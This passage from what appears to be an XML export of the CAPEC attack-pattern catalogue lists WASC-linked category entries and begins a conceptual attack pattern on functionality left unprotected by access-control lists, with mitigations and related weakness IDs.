					<Reference_Link>http://projects.webappsec.org/HTTP-Response-Splitting</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="359" Name="WASC Threat Classification 2.0 - WASC-26 - HTTP Request Smuggling"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item HTTP Request Smuggling</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-26 - HTTP Request
						Smuggling</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/HTTP-Request-Smuggling</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="360" Name="WASC Threat Classification 2.0 - WASC-27 - HTTP Response Smuggling"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item HTTP Response Smuggling</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-27 - HTTP Response
						Smuggling</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/HTTP-Response-Smuggling</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="361" Name="WASC Threat Classification 2.0 - WASC-28 - Null Byte Injection"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Null Byte Injection</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-28 - Null Byte
						Injection</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Null-Byte-Injection</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="362" Name="WASC Threat Classification 2.0 - WASC-29 - LDAP Injection"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item LDAP Injection</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-29 - LDAP
						Injection</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/LDAP-Injection</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="363" Name="WASC Threat Classification 2.0 - WASC-30 - Mail Command Injection"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Mail Command Injection</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-30 - Mail Command
						Injection</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Mail-Command-Injection</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="364" Name="WASC Threat Classification 2.0 - WASC-31 - OS Commanding"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item OS Commanding</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-31 - OS
						Commanding</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/OS-Commanding</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="365" Name="WASC Threat Classification 2.0 - WASC-32 - Routing Detour"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Routing Detour</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-32 - Routing
						Detour</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Routing-Detour</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="366" Name="WASC Threat Classification 2.0 - WASC-33 - Path Traversal"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Path Traversal</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-33 - Path
						Traversal</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Path-Traversal</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="367"
			Name="WASC Threat Classification 2.0 - WASC-34 - Predictable Resource Location"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Predictable Resource Location</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-34 - Predictable Resource
						Location</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Predictable-Resource-Location</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="368" Name="WASC Threat Classification 2.0 - WASC-35 - SOAP Array Abuse"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item SOAP Array Abuse</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-35 - SOAP Array
						Abuse</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/SOAP-Array-Abuse</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="369" Name="WASC Threat Classification 2.0 - WASC-36 - SSI Injection"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item SSI Injection</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-36 - SSI
						Injection</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/SSI-Injection</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="370" Name="WASC Threat Classification 2.0 - WASC-37 - Session Fixation"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Session Fixation</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-37 - Session
						Fixation</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Session-Fixation</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="371" Name="WASC Threat Classification 2.0 - WASC-38 - URL Redirector Abuse"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item URL Redirector Abuse</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-38 - URL Redirector
						Abuse</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/URL-Redirector-Abuse</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="372" Name="WASC Threat Classification 2.0 - WASC-39 - XPath Injection"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item XPath Injection</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-39 - XPath
						Injection</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/XPath-Injection</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="373"
			Name="WASC Threat Classification 2.0 - WASC-40 - Insufficient Process Validation"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Insufficient Process Validation</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-40 - Insufficient Process
						Validation</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Insufficient-Process-Validation</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="374" Name="WASC Threat Classification 2.0 - WASC-41 - XML Attribute Blowup"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item XML Attribute Blowup</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-41 - XML Attribute
						Blowup</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/XML-Attribute-Blowup</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="375" Name="WASC Threat Classification 2.0 - WASC-42 - Abuse of Functionality"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Abuse of Functionality</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-42 - Abuse of
						Functionality</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Abuse-of-Functionality</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="376" Name="WASC Threat Classification 2.0 - WASC-43 - XML External Entities"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item XML External Entities</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-43 - XML External
						Entities</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/XML-External-Entities</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="377" Name="WASC Threat Classification 2.0 - WASC-44 - XML Entity Expansion"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item XML Entity Expansion</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-44 - XML Entity
						Expansion</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/XML-Entity-Expansion</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="378" Name="WASC Threat Classification 2.0 - WASC-45 - Fingerprinting"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Fingerprinting</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-45 -
						Fingerprinting</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Fingerprinting</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="379" Name="WASC Threat Classification 2.0 - WASC-46 - XQuery Injection"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item XQuery Injection</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-46 - XQuery
						Injection</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/XQuery-Injection</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="380"
			Name="WASC Threat Classification 2.0 - WASC-47 - Insufficient Session Expiration"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Insufficient Session Expiration</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-47 - Insufficient Session
						Expiration</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Insufficient-Session-Expiration</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="381" Name="WASC Threat Classification 2.0 - WASC-48 - Insecure Indexing"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Insecure Indexing</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-48 - Insecure
						Indexing</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Insecure-Indexing</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="382"
			Name="WASC Threat Classification 2.0 - WASC-49 - Insufficient Password Recovery"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Insufficient Password Recovery</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-49 - Insufficient
						Password Recovery</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Insufficient-Password-Recovery</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="436" Name="Physical Security Attacks" Status="Draft">
			<Description>
				<Description_Summary>An attacker exploits vulnerabilities in the physical realm
					utilizing various techniques against physical entities and properties.
				</Description_Summary>
			</Description>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-10-27</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-10-27</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Category>
	</Categories>
	<Attack_Patterns>
		<Attack_Pattern ID="1" Name="Accessing Functionality Not Properly Constrained by ACLs"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>In applications, particularly web applications, access to functionality is
						mitigated by the authorization framework, whose job it is to map ACLs to
						elements of the application's functionality; particularly URL's for web
						apps. In the case that the application deployer failed to specify an ACL for
						a particular element, an attacker may be able to access it with impunity. An
						attacker with the ability to access functionality not properly constrained
						by ACLs can obtain sensitive information and possibly compromise the entire
						application. Such an attacker can access resources that must be available
						only to users at a higher privilege level, can access management sections of
						the application or can run queries for data that he is otherwise not
						supposed to.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Survey</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker surveys the target application,
												possibly as a valid and authenticated user</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Spidering web sites for all available
												links</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Brute force guessing of resource
												names</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Brute force guessing of user names /
												credentials</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>Brute force guessing of function names /
												actions</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>ACLs or other access control mechanisms are
												present in the software</Text>
												</Indicator_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>User IDs or other credentials are present in
												the software</Text>
												</Indicator_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Indicator>
											<Indicator ID="3" type="Positive">
												<Indicator_Description>
												<Text>Operating modes with different privileges
												are present in the software</Text>
												</Indicator_Description>
												<Environments>env-ClientServer env-Local
												env-Embedded</Environments>
											</Indicator>
										</Indicators>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Identify
											Functionality</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>At each step, the attacker notes the resource or
												functionality access mechanism invoked upon
												performing specific actions</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use the web inventory of all forms and
												inputs and apply attack data to those
												inputs.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a packet sniffer to capture and record
												network traffic</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-CommProtocol</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Execute the software in a debugger and
												record API calls into the operating system or
												important libraries. This might occur in an
												environment other than a production environment,
												in order to find weaknesses that can be exploited
												in a production environment.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local env-Embedded</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker produces a list of
												functionality or data that can be accessed through
												the system.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Iterate over access
											capabilities</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Possibly as a valid user, the attacker then tries
												to access each of the noted access mechanisms
												directly in order to perform functions not
												constrained by the ACLs.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Fuzzing of API parameters (URL parameters,
												OS API parameters, protocol parameters)</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-Local env-Embedded
												env-ClientServer</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Negative">
												<Indicator_Description>
												<Text>Attempts to create a catalog of access
												mechanisms and data have failed.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Functionality is accessible to
												unauthorized users.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The application must be navigable in a manner that associates elements
						(subsections) of the application with ACLs.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The various resources, or individual URLs, must be somehow discoverable by
						the attacker</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The deployer must have forgotten to associate an ACL or has associated an
						inappropriately permissive ACL with a particular navigable resource.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Very High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
				<Method_of_Attack>Brute Force</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Implementing the Model-View-Controller (MVC) within Java EE's Servlet
							paradigm using a "Single front controller" pattern that demands that
							brokered HTTP requests be authenticated before hand-offs to other Action
							Servlets.</Text>
						<Text>If no security-constraint is placed on those Action Servlets, such
							that positively no one can access them, the front controller can be
							subverted.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>In order to discover unrestricted resources, the attacker does not
							need special tools or skills. He only has to observe the resources or
							access mechanisms invoked as each action is performed and then try and
							access those access mechanisms directly.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>No special resources are required for the exploit of this pattern.</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>In the case of web applications, use of a spider or other crawling
							software can allow an attacker to search for accessible pages not
							beholden to a security constraint.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>More generally, noting the target resource accessed upon performing
							specific actions drives an understanding of the resources accessible
							from the current context.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>In a J2EE setting, deployers can associate a role that is impossible for
						the authenticator to grant users, such as "NoAccess", with all Servlets to
						which access is guarded by a limited number of servlets visible to, and
						accessible by, the user.</Text>
					<Text>Having done so, any direct access to those protected Servlets will be
						prohibited by the web container.</Text>
					<Text>In a more general setting, the deployer must mark every resource besides
						the ones supposed to be exposed to the user as accessible by a role
						impossible for the user to assume. The default security setting must be to
						deny access and then grant access only to those resources intended by
						business logic.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>285<!--Improper Access Control (Authorization)--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>732<!--Incorrect Permission Assignment for Critical Resource--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>276<!--Incorrect Default Permissions--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>693<!--Protection Mechanism Failure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>721<!--OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access--></CWE_ID>

